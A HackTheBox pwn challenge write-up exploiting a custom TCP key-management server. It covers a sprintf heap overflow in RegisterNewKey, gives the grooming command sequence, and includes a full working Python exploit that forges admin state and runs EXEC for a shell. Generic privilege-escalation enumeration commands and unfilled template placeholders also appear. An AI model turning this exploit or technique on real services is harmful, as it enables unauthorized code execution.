← Back to Writeups
HTBN/APwn

KHP Protocol Challenge Scenario

XESXOR8/23/20266 min read
#pwn#htb#n/a

KHP Protocol Challenge Scenario

Platform: HackTheBox | Category: Pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-01 | Status: Solved Techniques: cross_connection_exec, empty_database_heap_grooming, heap_overflow_profile_forgery, shared_global_auth_abuse

Summary

Task: a custom threaded TCP protocol server exposed key-management commands and an EXEC path guarded by admin state. Solution: groom an empty key database, trigger the RegisterNewKey heap overflow with a forged profile, authenticate the corrupted admin entry, then use a second connection to EXEC and read flag.txt.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackthebox | ID: 20260401_hackthebox_khp_protocol_challenge_scenario
  • Tags: command_execution, heap_overflow, custom_protocol, pwn, auth_bypass, tcp_protocol, threaded_server
  • Indicators: custom TCP protocol with REKE/DEKE/RLDB/AUTH/EXEC commands, sprintf into a 0x54-byte heap allocation, attacker-controlled user:role and key fields, global user and role state shared across threads, EXEC gated only by admin authentication state
  • Source: 20260401_hackthebox_khp_protocol_challenge_scenario.md

Foothold

Vulnerability / Misconfiguration

  1. Cross_connection_exec
  2. Empty_database_heap_grooming
  3. Heap_overflow_profile_forgery
  4. Shared_global_auth_abuse
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • cross_connection_exec
  • empty_database_heap_grooming
  • heap_overflow_profile_forgery
  • shared_global_auth_abuse
  • Tags: command_execution, heap_overflow, custom_protocol, pwn, auth_bypass, tcp_protocol, threaded_server

Original Writeup

<details><summary>Click to expand original content</summary>

Summary

This challenge was a custom threaded TCP service implementing its own text protocol. The important commands were REKE, DEKE, RLDB, AUTH, and EXEC.

Initial reversing suggested several possible issues, including globally shared authentication state across threads and weak profile handling. The confirmed remote solution, however, was the empty-database heap-overflow route: groom the in-memory key list, delete one entry, overflow a heap chunk in RegisterNewKey, forge an admin profile, authenticate it, then open a second connection and use EXEC to read the flag.

Reconnaissance / Reversing

The binary was a TCP server that accepted line-based protocol commands from each client. Local notes also showed a number of suspicious design choices:

  • REKE registered a new user:role key entry.
  • DEKE deleted an entry by id.
  • RLDB reloaded keys from the on-disk database.
  • AUTH authenticated using an in-memory profile id.
  • EXEC spawned /bin/sh when the current role was admin.

An early hypothesis was that the challenge might be solvable purely through shared global state, because several variables were process-global and reused across threads. That idea was relevant, but it was not the full exploit on the real service.

The key confirmed bug was in RegisterNewKey: it allocated only 0x54 bytes for a heap object, then built the resulting profile string with sprintf using attacker-controlled fields. Because both the user:role part and the key were under our control, the formatted string could exceed the allocation and overflow into adjacent heap data.

This mattered especially when the in-memory database was groomed into a predictable layout. By creating several small entries, reloading from disk, deleting one slot, and then inserting a crafted oversized record, the overflow could corrupt neighboring state in a way that made AUTH 1 succeed as an admin profile.

Root Cause

The root cause was an unsafe heap write in RegisterNewKey.

Conceptually, the code did this:

chunk = malloc(0x54);
sprintf(chunk, "%s:%s %s;", user, role, key);

That is unsafe because:

  1. The destination buffer is fixed at 0x54 bytes,
  2. All formatted fields are attacker-controlled,
  3. sprintf performs no bounds checking.

So the service let us write past the end of a heap chunk and corrupt adjacent in-memory key data or related pointers/state. In practice, the reliable remote path was to use this overflow after grooming the key array into the right shape with repeated REKE, RLDB, and DEKE operations.

The challenge also contained other weaknesses noted during local analysis:

  • shared global auth/profile state across threads,
  • out-of-bounds indexing in key slots,
  • unchecked delete paths,
  • a buggy read terminator.

Those bugs helped explain the service behavior, especially why a second connection could later benefit from the authenticated admin state, but the working exploit depended on the heap overflow and the empty-database setup.

Exploitation Steps

The successful remote exploit sequence was:

  1. REKE chaita:admin abcdef
  2. REKE chaita:admin abcdef
  3. REKE chaita:admin abcdef
  4. RLDB
  5. DEKE 3
  6. REKE CHA:ITA + 0x70 bytes of \x01 + chaita:admin abcdef
  7. AUTH 1
  8. Open a second connection and send EXEC
  9. Run cat flag.txt

Why this works:

  • The first three REKE calls populate the in-memory structures with predictable entries.
  • RLDB refreshes state from the backing store and helps stabilize the layout used by the exploit.
  • DEKE 3 frees one slot, creating the hole used by the final oversized registration.
  • The last REKE sends a crafted user:role field (CHA:ITA) followed by 0x70 bytes of \x01, then another valid-looking chaita:admin abcdef sequence. This overflows the 0x54-byte heap allocation and corrupts adjacent state.
  • After the corruption, AUTH 1 succeeds and sets the service into an authenticated admin state.
  • A second TCP connection can then issue EXEC and obtain a shell context.

One small remote-specific detail: on the real instance, cat /flag.txt failed, but cat flag.txt succeeded. So the final read command had to use the relative path.

Exploit Script

The repository already contains the working exploit at tasks/hackthebox/KHP Protocol Challenge Scenario/solve.py.

#!/usr/bin/env python3
import argparse
import socket
import sys
import time


def recv_some(sock, timeout=0.8):
    sock.settimeout(timeout)
    chunks = []
    try:
        while True:
            chunk = sock.recv(4096)
            if not chunk:
                break
            chunks.append(chunk)
            if len(chunk) < 4096:
                break
    except Exception:
        pass
    return b"".join(chunks)


def send_cmd(sock, data, pause=0.35):
    if isinstance(data, str):
        data = data.encode()
    sock.sendall(data + b"\n")
    time.sleep(pause)
    return recv_some(sock)


def main():
    parser = argparse.ArgumentParser(
        description="Exploit KHP Protocol empty-DB heap overflow"
    )
    parser.add_argument("host")
    parser.add_argument("port", type=int)
    parser.add_argument(
        "--cmd", default="cat flag.txt", help="Command to run after EXEC"
    )
    args = parser.parse_args()

    s1 = socket.create_connection((args.host, args.port))

    for cmd in [
        "REKE chaita:admin abcdef",
        "REKE chaita:admin abcdef",
        "REKE chaita:admin abcdef",
        "RLDB",
        "DEKE 3",
    ]:
        send_cmd(s1, cmd)

    overflow = b"REKE CHA:ITA " + (b"\x01" * 0x70) + b"chaita:admin abcdef"
    send_cmd(s1, overflow, pause=0.5)

    auth = send_cmd(s1, "AUTH 1", pause=0.6)
    if b"Authenticated" not in auth:
        sys.stderr.write(auth.decode("latin1", errors="replace"))
        sys.exit(1)

    s2 = socket.create_connection((args.host, args.port))
    shell = send_cmd(s2, "EXEC", pause=0.6)
    if b"You can run commands now." not in shell:
        sys.stderr.write(shell.decode("latin1", errors="replace"))
        sys.exit(1)

    out = send_cmd(s2, args.cmd, pause=0.8)
    sys.stdout.write(out.decode("latin1", errors="replace"))

    s1.close()
    s2.close()


if __name__ == "__main__":
    main()
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR